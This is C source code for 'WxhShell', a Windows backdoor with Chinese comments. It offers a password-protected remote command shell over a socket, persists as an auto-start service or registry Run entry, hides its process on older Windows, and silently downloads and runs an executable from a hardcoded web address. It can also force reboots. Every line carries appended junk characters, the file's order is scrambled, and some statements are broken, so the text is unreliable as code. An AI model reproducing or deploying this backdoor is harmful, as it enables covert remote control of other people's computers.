    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 Qz@  
    else { G^dzE/ :  
    closesocket(wsh);  P7/Xh3  
    ExitThread(0); E?BF8t_fTE  
    } hy$VG%b;#  
    break; f4+wP/n&  
    } m^TN6/])  
  // 获取shell eT(X Ri0  
  case 's': { Odhr=Hs  
    CmdShell(wsh); _RZ"WA^[  
    closesocket(wsh); MpJ<.|h  
    ExitThread(0); ,7k1n{C)  
    break; aU[!*n 4Ux  
  } rw gj]  
  // 退出 ^L7!lzyo  
  case 'x': { &1`Y&x:p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H/;AlN|!  
    CloseIt(wsh); h5-yhG  
    break; YmjA!n  
    } Eelv i5  
  // 离开 m@w469&<(q  
  case 'q': { RQ^ \|+_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W@'*G*f  
    closesocket(wsh); b^ [ z'  
    WSACleanup(); mh SknyqT  
    exit(1);  ?<8c  
    break; \n^[!e"`  
        } pFwJ:  
  } u!F\`Gfm_  
  } r_ B.b K  
734n1-F?I%  
  // 提示信息 " *W# z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e-\/1N84  
} 3MKu!  
  } ucU7 @j  
N`N?1!fM<}  
  return; Zkqq<  
} ~ L>M-D4o  
h%4UeL &F  
// shell模块句柄 {Ja(+NQ  
int CmdShell(SOCKET sock) x7`+T 1IJ  
{ WpnP^gmX  
STARTUPINFO si; %f1IV(3Qc  
ZeroMemory(&si,sizeof(si)); Hr!$mf)h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -Wh 2hWg+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {9x>@p/  
PROCESS_INFORMATION ProcessInfo; ;f N^MW@&[  
char cmdline[]="cmd"; T0)bnjm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )EKWsGNe/  
  return 0; .jtv Hr}U  
} ]+B.=mO_  
^W@%(,xb  
// 自身启动模式 (~E-=+R[$&  
int StartFromService(void) z5Tsu1 c  
{ zDbO~.d  
typedef struct aIrM-c8.O  
{ b0f6p>~q^  
  DWORD ExitStatus; C8|#  
  DWORD PebBaseAddress; :eJJL,v  
  DWORD AffinityMask; [/VpvQ'  
  DWORD BasePriority; X-,oL.:c  
  ULONG UniqueProcessId; @7.7+blS"H  
  ULONG InheritedFromUniqueProcessId; r3-<~k-  
}   PROCESS_BASIC_INFORMATION; P B5h5eX  
.]JIo&>5  
PROCNTQSIP NtQueryInformationProcess; T{"Ur :p  
n~}[/ly  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gFu,q`Vf*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W3\E; C-g0  
2 >j0,2  
  HANDLE             hProcess; YPNW%N!$|  
  PROCESS_BASIC_INFORMATION pbi; p4UEhT  
e5n]@mu%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <m VFC  
  if(NULL == hInst ) return 0; 3 v.8  
1sonDBd0@;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n00J21  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _<Ij)#Rq7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >D}|'.&  
Q .h.d))  
  if (!NtQueryInformationProcess) return 0; dGkw%3[  
8e,F{>N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N mxh zjJ  
  if(!hProcess) return 0; lcjOBu  
@ F $}/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m.1-[2{8~  
J:&.[  
  CloseHandle(hProcess); CYwV]lq :s  
+'MO$&6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;Oqf{em];  
if(hProcess==NULL) return 0; ' ]+!i a  
J[hmY=,  
HMODULE hMod; 'g'RXC}D>  
char procName[255]; .s!0S-RkC  
unsigned long cbNeeded; '-[hy>t  
Z~8%bfpe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &NoA, `|7  
WWZ<[[ >  
  CloseHandle(hProcess);  (FaYagD  
=s]2?m  
if(strstr(procName,"services")) return 1; // 以服务启动 r `n|fD.  
{#4a}:3  
  return 0; // 注册表启动 H>;,r ,  
} G kG#+C0L  
<*dcl2xS  
// 主模块 % -AcA  
int StartWxhshell(LPSTR lpCmdLine) wQjYH!u,YZ  
{ #\QW <I#/  
  SOCKET wsl; <g;,or#$  
BOOL val=TRUE; e!gNd>b {  
  int port=0; _X;,,VEV!  
  struct sockaddr_in door; ZeU){CB  
5p S$rf  
  if(wscfg.ws_autoins) Install(); pUF JQ*  
' -Cx-=  
port=atoi(lpCmdLine); fHEIys,{  
z 5(5\j]  
if(port<=0) port=wscfg.ws_port; "c]9Q%  
{k-_+#W"  
  WSADATA data; rr1'| k "  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .KC V|x;QW  
^L)3O|6c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9lR6:}L7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CsycR@[  
  door.sin_family = AF_INET; ?YZgH>7"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #0uu19+}  
  door.sin_port = htons(port); jQ%1lQ#R)  
a{^z= =  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]w _&%mB  
closesocket(wsl); I]+ zG  
return 1; )j~{P  
} K{/i2^4  
8~R.iqLoX  
  if(listen(wsl,2) == INVALID_SOCKET) {  p#]9^oA  
closesocket(wsl); <3@nv%  
return 1; !-470J  
} F1-"yX1B  
  Wxhshell(wsl); eLORG(;h4  
  WSACleanup(); 7=}tJ  
r0lI&25w  
return 0; Tgtym"=xd  
DzE^FY  
} /}>8|#U3y  
wzd(= *N  
// 以NT服务方式启动 D})/2O p   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #-G@p  
{ jLI1Ed  
DWORD   status = 0; y] D\i5Xv  
  DWORD   specificError = 0xfffffff; &&P9T/Zks  
uj.$GAtO)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $p0D9mF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r /a@ x9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gL&w:_  
  serviceStatus.dwWin32ExitCode     = 0; Tc||96%2^  
  serviceStatus.dwServiceSpecificExitCode = 0; V61oK  
  serviceStatus.dwCheckPoint       = 0; .[]S!@+%  
  serviceStatus.dwWaitHint       = 0; P[q>;Fx*  
%#v$d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6wwbH}*=?  
  if (hServiceStatusHandle==0) return; NcF>}f,}\  
\EoE/2"<  
status = GetLastError(); ro<w8V9.a  
  if (status!=NO_ERROR) p.g>+7  
{ IO"P /Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ciml:"nQ  
    serviceStatus.dwCheckPoint       = 0; $#s5y~z  
    serviceStatus.dwWaitHint       = 0; sGtxqnX:J  
    serviceStatus.dwWin32ExitCode     = status; ?;`GCE  
    serviceStatus.dwServiceSpecificExitCode = specificError; JcmMbd&B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 36+/MvIT  
    return; R(^Sse  
  } x/M$_E<G  
jFe8s@7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vvxD}p=y  
  serviceStatus.dwCheckPoint       = 0; L v/}&'\(  
  serviceStatus.dwWaitHint       = 0; u;rmqo1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RS}_cm0  
} l{C]0^6>i  
XfVdYmii  
// 处理NT服务事件,比如:启动、停止 UMd.=HC L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hN=kU9@knC  
{ NdLe|L?c  
switch(fdwControl) R"O%##Ws  
{ ]f &]E ~i  
case SERVICE_CONTROL_STOP: K3 BWj33  
  serviceStatus.dwWin32ExitCode = 0; ~< UYJc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tg#jjXV\0p  
  serviceStatus.dwCheckPoint   = 0; OQ_< Vxz  
  serviceStatus.dwWaitHint     = 0; W? 4:sLC#3  
  { Y#V(CIDe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x+6z9{O  
  } 'h6G"=+  
  return; O^-QqCZE  
case SERVICE_CONTROL_PAUSE: gTTKjlI [  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R,PN?aj  
  break; sgK =eBE  
case SERVICE_CONTROL_CONTINUE: w2'z~\dG8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z'k?lkB2i  
  break; ]3*w3Y!XK  
case SERVICE_CONTROL_INTERROGATE: vW*Mf}=  
  break; RPeH[M^  
}; H'YKj'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zh;}Q(w  
} D60quEe3%  
Eb9h9sjv  
// 标准应用程序主函数 i{$P.i/&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H9TeMY  
{ ",gVo\^  
fmv:vs /9  
// 获取操作系统版本 ]$ s)6)kW  
OsIsNt=GetOsVer(); V*te8HIe  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]Bf1p  
>E4,zs@7t  
  // 从命令行安装 NkBvN\CQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gd\/n*j  
db1ZNw  
  // 下载执行文件 m ne)c[Qn  
if(wscfg.ws_downexe) { Z|a*"@5_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]SU)L5Dt;  
  WinExec(wscfg.ws_filenam,SW_HIDE); vD9.X}l]  
} 'J &R=MD  
jA:'P~`Hj  
if(!OsIsNt) { P(8Yz W  
// 如果时win9x,隐藏进程并且设置为注册表启动 vS5}OV  
HideProc();  }E(w@&  
StartWxhshell(lpCmdLine); %{r3"Q=;W  
} DUu:et&c1  
else C,> n  
  if(StartFromService()) 8 NNh8k#6  
  // 以服务方式启动 D}!YF~  
  StartServiceCtrlDispatcher(DispatchTable); D Q={  
else !0zcS7&P  
  // 普通方式启动 wo(O+L/w  
  StartWxhshell(lpCmdLine); dgX%NKv1  
x{w|Hy  
return 0; ) aMiT  
} {RI^zNgs[  
-;"A\2_y  
N@<-R<s^  
;2g.X(Ra  
=========================================== sXPva@8_  
3A"TpR4f`  
Kzq^f=p  
ynMYf  
Q/Z>w+zh#  
Zi}h\R a  
" &${| o@  
o?M;f\Fy  
#include <stdio.h> TeZu*c  
#include <string.h> Y}.f&rLe  
#include <windows.h> 4j'rbbs/  
#include <winsock2.h> AdDR<IW  
#include <winsvc.h> 5 8;OTDR!  
#include <urlmon.h> CfrO1iF  
& }j;SK5  
#pragma comment (lib, "Ws2_32.lib") h0~<(3zC  
#pragma comment (lib, "urlmon.lib") 5W fZd  
CL5^>. }  
#define MAX_USER   100 // 最大客户端连接数 "-Ny f  
#define BUF_SOCK   200 // sock buffer p</t##]3ks  
#define KEY_BUFF   255 // 输入 buffer 8kU(>' ^_:  
l> H'PP~  
#define REBOOT     0   // 重启 i}>EGmv m  
#define SHUTDOWN   1   // 关机 NqKeQezX  
[=cbzmX[  
#define DEF_PORT   5000 // 监听端口 &*O'qOO<2  
GcO:!b*YMp  
#define REG_LEN     16   // 注册表键长度 :f7!?^;y>  
#define SVC_LEN     80   // NT服务名长度 u"hr4+/  
RJDk7{(  
// 从dll定义API A-myY30  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $d-yG553  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 94 6r#`q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o\Fv~^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6A>bm{`c:  
vOKNBR2  
// wxhshell配置信息 oo]P}ra  
struct WSCFG { (?,jnnub  
  int ws_port;         // 监听端口 ESIJ QM-[+  
  char ws_passstr[REG_LEN]; // 口令 H[pvC=O=  
  int ws_autoins;       // 安装标记, 1=yes 0=no NzhWGr_x'  
  char ws_regname[REG_LEN]; // 注册表键名 TZ n2,N  
  char ws_svcname[REG_LEN]; // 服务名 751Q i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UL~~J[1r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HXdo:#xEO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tNZZCdB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <Mo{o2F=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8VG~n?y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~LF M,@  
L* 6<h  
}; 8?<J,zu@AV  
O<>+l*bk  
// default Wxhshell configuration .pl,ujv  
struct WSCFG wscfg={DEF_PORT, @*6_Rp"@  
    "xuhuanlingzhe", o^d|/;  
    1, }NV<k  
    "Wxhshell", zU0JwZi  
    "Wxhshell", 86qQ"=v  
            "WxhShell Service", dn42'(p@G  
    "Wrsky Windows CmdShell Service", $'!n4}$}  
    "Please Input Your Password: ", ;&?ITV  
  1, i,Jz 7OX  
  "http://www.wrsky.com/wxhshell.exe", WyQ8}]1b  
  "Wxhshell.exe" EX W?)_pg  
    }; 0$y HO2 f  
gLo&~|=L-  
// 消息定义模块 >U4bK^/Bp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P$ b5o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fyx Q{J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NX;{L#lQ  
char *msg_ws_ext="\n\rExit."; BjjuZN&  
char *msg_ws_end="\n\rQuit."; SZ4@GK  
char *msg_ws_boot="\n\rReboot..."; Ut1s~b1  
char *msg_ws_poff="\n\rShutdown..."; MD4m h2  
char *msg_ws_down="\n\rSave to ";  ]5ibg"{S  
T# tFzbr  
char *msg_ws_err="\n\rErr!"; hD,^mru  
char *msg_ws_ok="\n\rOK!"; hOIg 7=v  
Rdd9JJsVd  
char ExeFile[MAX_PATH]; q9^.f9-  
int nUser = 0; #^-'q`)  
HANDLE handles[MAX_USER]; '}>8+vU`  
int OsIsNt; Qd ?S~3XT  
f R2,NKM@  
SERVICE_STATUS       serviceStatus; oc-o>H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j~;y~Cx?  
FS?1O"_  
// 函数声明 Skux&'N:  
int Install(void); !([v=O#  
int Uninstall(void); 2Qp]r+!  
int DownloadFile(char *sURL, SOCKET wsh); C<^S$  
int Boot(int flag); b3GTsX\2|  
void HideProc(void); 6is+\  
int GetOsVer(void); rg%m   
int Wxhshell(SOCKET wsl); D[YdPg@-  
void TalkWithClient(void *cs); 9(KffnE^  
int CmdShell(SOCKET sock); iN@|08  
int StartFromService(void); 7 X~JLvN  
int StartWxhshell(LPSTR lpCmdLine); W^H[rX}=  
lKRp9isn^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @ <'a0)n>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zRau/1Y0  
%uP/v\l  
// 数据结构和表定义 TUp%Cx  
SERVICE_TABLE_ENTRY DispatchTable[] = ]@}@G[e#[  
{ 7d_"4;K)  
{wscfg.ws_svcname, NTServiceMain}, sJg3WN  
{NULL, NULL} T Q {8 ee{  
}; f,@~@f X  
4 T/ ~erc  
// 自我安装 /cZcfCW  
int Install(void) AZJ|.mV q  
{ ]InDcE  
  char svExeFile[MAX_PATH]; r9-)+R J  
  HKEY key; `E>o:tff  
  strcpy(svExeFile,ExeFile); y dzvjp=  
cf_X=;yaqy  
// 如果是win9x系统,修改注册表设为自启动 qNkX:|j  
if(!OsIsNt) { )B5U0iIi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VOmS>'$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $@dPIq4o;}  
  RegCloseKey(key); U[@B63];0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;q<:iaY9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CTX%~1 _`O  
  RegCloseKey(key); ].gC9@C:$i  
  return 0; pl 1CEoe  
    } "1ZVuI  
  } I?<ibLpX  
} kf)s3I/`(  
else { <|a9r: [  
2l8z/o7v  
// 如果是NT以上系统,安装为系统服务 -]Oi/i,{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wS:`c J  
if (schSCManager!=0) F2=#\U$  
{ QVN @B[9  
  SC_HANDLE schService = CreateService 8O*O 5   
  ( 6 )Qe*S  
  schSCManager, \'nE{  
  wscfg.ws_svcname, 1a},(ZcdX  
  wscfg.ws_svcdisp, OadGwa\:s  
  SERVICE_ALL_ACCESS, QVR-`d/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9Bu=8P?  
  SERVICE_AUTO_START, hN1{?PQ  
  SERVICE_ERROR_NORMAL, ) .H nK  
  svExeFile, K5d>{c  
  NULL, xkz`is77Y@  
  NULL, q +c~Bd  
  NULL, o6:p2W  
  NULL, `+WQ^dP@  
  NULL 'KNUPi|  
  ); ZpU4"x>  
  if (schService!=0) G9> 0w)r  
  { 5kj=Y]9\I  
  CloseServiceHandle(schService); A Rjox`  
  CloseServiceHandle(schSCManager); IAbH_+7O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sVIw'W  
  strcat(svExeFile,wscfg.ws_svcname); \OF"hPq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &R}2/Mt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /vFdhh  
  RegCloseKey(key); `ve5>aw0_Y  
  return 0; 4*+)D8  
    } T(eNK c2  
  } uacVF[9|W  
  CloseServiceHandle(schSCManager); , @6_sl  
} eZRu{`AF*  
} J,wpY$93  
?u M2|Nk  
return 1; mv9@Az9  
} qVJC O-K|  
^G(+sb[t  
// 自我卸载 G]fx3=  
int Uninstall(void) knu>{a}  
{ 80O[pf*?  
  HKEY key; Z <tJ+  
XiUae{j`  
if(!OsIsNt) { >c8EgSZJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >1d`G%KfG  
  RegDeleteValue(key,wscfg.ws_regname); p%y|w  
  RegCloseKey(key); }o#6g|"\sY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { / CVhvK  
  RegDeleteValue(key,wscfg.ws_regname); 1x4{~g\  
  RegCloseKey(key); ~G`(=\_0  
  return 0; L [7Aa"R  
  } u+vUv~4A6  
} IqmoWn3  
} 0N*~"j;r#M  
else { k:kx=K5=4  
^0&   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ea[K$NC)#  
if (schSCManager!=0) o8ADAU"  
{ c27A)`   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M&K'5G)7  
  if (schService!=0) PaYsn *{})  
  { 5J8U] :Y)  
  if(DeleteService(schService)!=0) { Qa=v }d-O  
  CloseServiceHandle(schService); gS4@3BOw&.  
  CloseServiceHandle(schSCManager); {%3sj"suB  
  return 0; D[ (A`!)  
  } +&hd3  
  CloseServiceHandle(schService); bIahjxd:  
  } g)#neEA J  
  CloseServiceHandle(schSCManager); q~:k[@`.  
} k9?fE  
} D>Dch0{H,:  
'uw=)8t7  
return 1; 8!{F6DG  
} ^< O=<tN\  
MHkTN  
// 从指定url下载文件 D^9r#&  
int DownloadFile(char *sURL, SOCKET wsh) Y5Jrkr)k  
{ -*Z;EA-  
  HRESULT hr; DkGC+Dw  
char seps[]= "/"; !Wz%Hy:ZK  
char *token; !r*Ogv[  
char *file; \sZ!F&a~  
char myURL[MAX_PATH]; 0(!D1G{ul  
char myFILE[MAX_PATH]; h*9s^`9)  
A296 f(  
strcpy(myURL,sURL); VdV18-ea  
  token=strtok(myURL,seps); >|22%YVX  
  while(token!=NULL) UFy"hJchO  
  { eE/E#W8  
    file=token; }<hyW9  
  token=strtok(NULL,seps); (},TZ+u  
  } X!%CYmIRb  
4:p+C-gs  
GetCurrentDirectory(MAX_PATH,myFILE); |+Fko8-  
strcat(myFILE, "\\"); w8df-]r  
strcat(myFILE, file); L^zF@n^5A  
  send(wsh,myFILE,strlen(myFILE),0); w(KB=lA2  
send(wsh,"...",3,0); WS?"OTH.^\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Hjm  
  if(hr==S_OK) MxO0#  
return 0; y BwgLn  
else IMDGinHAy  
return 1; b-rgiR$cg  
as?~N/}  
} .Bu?=+O~  
<k0$3&D  
// 系统电源模块 se1\<YHDS  
int Boot(int flag) z\fmwI  
{ - W5ml @  
  HANDLE hToken;  k_;+z  
  TOKEN_PRIVILEGES tkp; xu _:  
 X)^kJ`  
  if(OsIsNt) { - kVt_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l |c#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M/X&zr  
    tkp.PrivilegeCount = 1; *uq;O*s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O%.c%)4Xo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pLvvv#Y  
if(flag==REBOOT) { D/1f> sl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nmn 8Y V1  
  return 0; IOx9".  
} `$*cW1  
else { h`0'27\C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ySLa4DQf  
  return 0; :eIu<_,}  
} %\5d?;   
  } {uQp$`  
  else { i,DnXgmz@  
if(flag==REBOOT) { k<098F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }&Gt&Hm>K  
  return 0; 9b8ZOk'9_  
} #R<ErX)F  
else { 478gl o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -c"nx$  
  return 0; E{m\LUd^ :  
} I$7#Z!P6|  
} "[[9i  
Yz?4eSa/  
return 1; 4PwjG;!K  
} $y\\ ?  
^x8yW brE  
// win9x进程隐藏模块 )c:i 'L  
void HideProc(void) y Q_lJIX  
{ -^i[   
IXaF(2>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MY]Z@  
  if ( hKernel != NULL ) a&3pPfC  
  { dVh*  a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h7iI=[_V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %. =B=*  
    FreeLibrary(hKernel); Gm 0&y  
  } M PhG:^g  
,U\F <$O  
return; %z}{jqD&:X  
} ai!zb2j!E  
~|_s2T  
// 获取操作系统版本 U8+5{,$\.  
int GetOsVer(void) {G:dhi  
{ lLq:(zMH  
  OSVERSIONINFO winfo; o& g0 1t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L 1FT h  
  GetVersionEx(&winfo); vR X_}`m8#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0=3Av8  
  return 1;  \^$g%a  
  else Fc{X$hh<  
  return 0; vN`2KCl~3  
} \G+ hi9T(  
FwB }@)3  
// 客户端句柄模块 <6_RWtU  
int Wxhshell(SOCKET wsl) ^XsIQz[q  
{ TC7Rw}jF  
  SOCKET wsh; j:)"s_  
  struct sockaddr_in client; [YbnpI  
  DWORD myID; |~'PEY  
R/&Ev$:  
  while(nUser<MAX_USER) ]!JUiFj"uD  
{ K"%_q$[YQ  
  int nSize=sizeof(client); 'P1I-ue  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yMdE[/+3  
  if(wsh==INVALID_SOCKET) return 1; h[|c?\E z  
q2o`.f+I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2$)xpET  
if(handles[nUser]==0) k}xXja*  
  closesocket(wsh); 5%+M:B  
else hG~TqH^} B  
  nUser++; gLyXe,Jp  
  } `1AVw] k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oa4{s&db-  
\e89 >m  
  return 0; bi^[Eh  
} rHzwSR@}1  
&!|'EW  
// 关闭 socket P4&3jQ[o  
void CloseIt(SOCKET wsh) JDTlzu1hR  
{ R^DZ@[\iV  
closesocket(wsh); ) =KD   
nUser--; Hs}3c R}  
ExitThread(0); k[{h$  
} h!k[]bt5  
tZW2TUM]  
// 客户端请求句柄 f6\`eLGi1  
void TalkWithClient(void *cs) cym<uh-Wg^  
{ cPFs K*w  
fl8~*\;Xu  
  SOCKET wsh=(SOCKET)cs; M0+xl+c+  
  char pwd[SVC_LEN]; 4f)B@A-  
  char cmd[KEY_BUFF]; |ia#Elavo  
char chr[1]; ] LcCom:]  
int i,j; 4=BIYC"Lu  
q5@N//<DNN  
  while (nUser < MAX_USER) { )Z.v fc  
3sh}(  
if(wscfg.ws_passstr) { 4^3}+cJ7j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d:j65yu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FX"j8i/N  
  //ZeroMemory(pwd,KEY_BUFF); V7+fNr]I  
      i=0; Rm^3K   
  while(i<SVC_LEN) { reBAxmt   
~pv|  
  // 设置超时 Y (a0*fh  
  fd_set FdRead; >s 5i  
  struct timeval TimeOut; i?{cB!7  
  FD_ZERO(&FdRead); sbeS9vE  
  FD_SET(wsh,&FdRead); hH&A1vUv  
  TimeOut.tv_sec=8; 25 NTtj:X  
  TimeOut.tv_usec=0; (qG}`?219J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n(#|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aR- ?t14  
(:g ZZG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h83W;s  
  pwd=chr[0]; fJiY~mQ  
  if(chr[0]==0xd || chr[0]==0xa) { F'~\!dNL  
  pwd=0; apz) 4%A  
  break; 0bl?dOV{  
  }  S2;u!f  
  i++; \ 5&-U@  
    } +4*3aWf`  
f ye=8 r  
  // 如果是非法用户,关闭 socket +D3w2C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xF/u('A  
} JX.3b_O  
8^ ujA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -z s5WaJn/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W(gOid KKz  
>8v4fk IK  
while(1) { ] I&l0Fx  
})V^t3  
  ZeroMemory(cmd,KEY_BUFF); 4r+@7hnK  
%1oh+'ES F  
      // 自动支持客户端 telnet标准   sGAOK%28  
  j=0; %0y_WIjz  
  while(j<KEY_BUFF) { D1ep7ykY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 43'!<[?x  
  cmd[j]=chr[0]; h4 X=d5qd  
  if(chr[0]==0xa || chr[0]==0xd) { m }J@w~#  
  cmd[j]=0; w \U?64  
  break; vtA%^~0  
  } =._V$:a6o  
  j++; ~W>3EJghR,  
    } A$7j B4  
;4%Co)Rw  
  // 下载文件 3J3Yt`  
  if(strstr(cmd,"http://")) { ;4:[kv@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >bLhCgF:"  
  if(DownloadFile(cmd,wsh)) F|wT']1Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  @mD$Z09~  
  else D8rg:,'6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?LwBF;Y  
  } I2&R+~ktR  
  else { }!`_Bz:  
x\i+MVR-  
    switch(cmd[0]) { u3G.xlHH[  
  oAxRI+&|.  
  // 帮助 3Fgl zJ  
  case '?': { L2Vj2o"x?  
